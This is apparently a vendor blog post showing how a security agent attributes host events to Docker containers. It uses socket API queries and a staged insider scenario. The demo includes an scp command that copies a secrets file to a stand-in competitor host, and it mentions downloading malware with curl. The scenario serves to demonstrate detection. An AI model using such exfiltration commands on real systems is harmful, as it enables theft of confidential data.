How to Identify Threats Within Your Docker Containers

Now is a good time to review Threat Stack's Docker integration in the wake of the recent runc CVE. The headline reporting gets a little hyperbolic, but I still think we should use this as an opportunity to reflect. Containers represent a powerful abstraction for a unit of software. The container abstraction provides some isolation, facilitation, and control, but also some opaqueness. Threat Stack's solution adds security visibility to your deployment, and our Docker integration provides visibility into your Docker containers.

Threat Stack announced the release of its Docker integration during Amazon's 2015 re:Invent Conference and has continued to maintain and expand its capabilities in subsequent releases. This feature augments detected host events with Docker information when the Threat Stack agent identifies the event as originating from a container. Augmented information consists of the Docker container ID and the image name. We collect that data with a host-based agent that does not stick some additional agent into each container. Per-container agents would cause performance issues for typically small footprint containers. Our daemon runs in userspace and does not hook into the kernel, allowing us to stay lean and lightweight. Let me explain a bit about how this all works.

Docker provides a great remote API. Its daemon listens to unix:///var/run/docker.sock by default, and the API tends to be REST. This means that we can communicate with and inspect our containers by sending HTTP requests over the local socket. Consider that I have a container with an abbreviated ID of 6064b7b66a22. I can obtain information about the container by executing the json query:

echo -e "GET /v1.39/containers/6064b7b66a22/json HTTP/1.1\r\nHost:\r\n" | nc -U /var/run/docker.sock

That returns a JSON description of the container details. We can tease information about processes running inside the container by using the top query:

echo -e "GET /v1.39/containers/6064b7b66a22/top HTTP/1.1\r\nHost:\r\n" | nc -U /var/run/docker.sock

That returns more JSON, but this time it lists the processes executing in the container. Something may seem a little strange about the results. If I run top from a shell in my container, then I get the information from the container's point of view (POV):

Note that the shell and top have PIDs of 1 and 11 respectively. Now look at the output from the top query of the Docker Remote API for that container (after removing the header):

{
 "Processes": [
   [
     "root",
     "7004",
     "6976",
     "0",
     "14:21",
     "?",
     "00:00:00",
     "bash"
   ],
   [
     "root",
     "8777",
     "7004",
     "0",
     "16:28",
     "?",
     "00:00:00",
     "top"
   ]
 ],
 "Titles": [
   "UID",
   "PID",
   "PPID",
   "C",
   "STIME",
   "TTY",
   "TIME",
   "CMD"
 ]
}

Now it says that shell and top have PIDs of 7004 and 8777 respectively. These PIDs come from the host system's POV. Threat Stack maps one POV to the other, allowing you to understand what the container is actually doing and whether your workload is reaching outside of its container.

Threat Stack does not hook into the kernel and put itself in between your process and execution. Instead, it leverages the Linux Audit System Architecture to subscribe to security events sent out from the kernel. This means that Threat Stack will still catch all security events, even while some of those events might not have completely populated fields. Our Docker integration uses transient information from the operating system about process details. The Threat Stack agent will still report the event without container information if the process terminates before we can augment the event with container values.

Let's move to a more complete example. We still have container 6064b7b66a22, and I already have Threat Stack running on my machine. Next, I enable the support for Docker containers. For those following along at home, please contact Threat Stack to receive instructions on how to do this in your deployment.

Now let's go into that first container and install curl with a simple apt command. We can then see what it looks like when I use curl to download some malware that enables lateral movement on the network.

Threat Stack sees that somebody on a container just pulled something down from a Chinese domain. We do not use any repositories from China in our product, so that warrants some looking into!

Now I deploy a second container running NGINX:

$ sudo docker run --name some-nginx -v 
	/tmp:/usr/share/nginx/html:ro -d nginx623d495f1a34f12d79100cccbd5cc33f192d99884169a19e95eda09df3779c57

Suppose somebody a bit nefarious wants to steal data from that container, or use Docker to give them a privileged shell. I would like to know about that. So let's simulate that activity by logging into the container:

$ docker exec -i -t some-nginx bash

Being an unsophisticated insider of questionable ethics, I realize I do not have my trusty scp tool to get the data to my offsite account. That's easy enough to rectify with apt, but then Threat Stack will notice something fishy starting to happen.

My "inside job" hasn't been completely interrupted yet, so let's move the data:

# scp company_secrets.txt [email protected]:.

Which produces this on the Threat Stack console:

At this point, IT gets an alert and comes running down the hall to bang on my door and tell me I'm in big trouble. They also call law enforcement and point them toward competitor.com. Threat Stack brings visibility to the system. For comparison, here's what the same action looks like when not attributed to a container:

Wrapping Up...

This just scratches the surface of our Docker integration. We have great things planned for the upcoming 2.1 release of the Threat Stack agent, including additional integration with the Kubernetes orchestration control plane and caching improvements of our Docker integration. Docker and other container technologies continue to be an area of active research and development at Threat Stack. As our customers continue to leverage containers for flexibility, isolation, and control, we continue to provide the improved visibility required to make container deployments secure. We're happy to show you more, and we're looking for feedback about what you'd like to see in the future. See what you've been missing!